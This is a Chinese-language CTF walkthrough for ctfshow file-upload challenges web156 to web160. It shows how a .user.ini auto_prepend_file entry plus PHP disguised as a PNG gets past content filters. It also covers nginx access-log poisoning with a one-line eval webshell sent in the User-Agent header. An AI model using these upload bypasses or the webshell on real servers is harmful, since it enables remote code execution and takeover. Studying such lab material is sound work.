ctfshow web入门 文件上传 web156-160

1.web156

前端还是要修改

文件内容中不能有php,[],图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=2.png，在上传2.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)
上传.user.ini

上传2.png 读取flag

2.web157

前端还是要修改

文件内容中不能有php,[],;,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)
上传1.png

上传.user.ini

3.web158

前端还是要修改

文件内容中不能有php,[],;,{}，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

上传1.png

上传.user.ini

4.web159

前端还是要修改

文件内容中不能有php,[],;,{},()，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?= `tac …/f*`>，访问链接就可得到flag (http://…/upload/index.php)

上传1.png

上传1.png

5.web160

前端还是要修改

文件内容中不能有php,[],;,{},(),空格，log，``，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>，访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>，得到flag

上传.user.ini

上传1.png

参考文章：
ctfshow 文件上传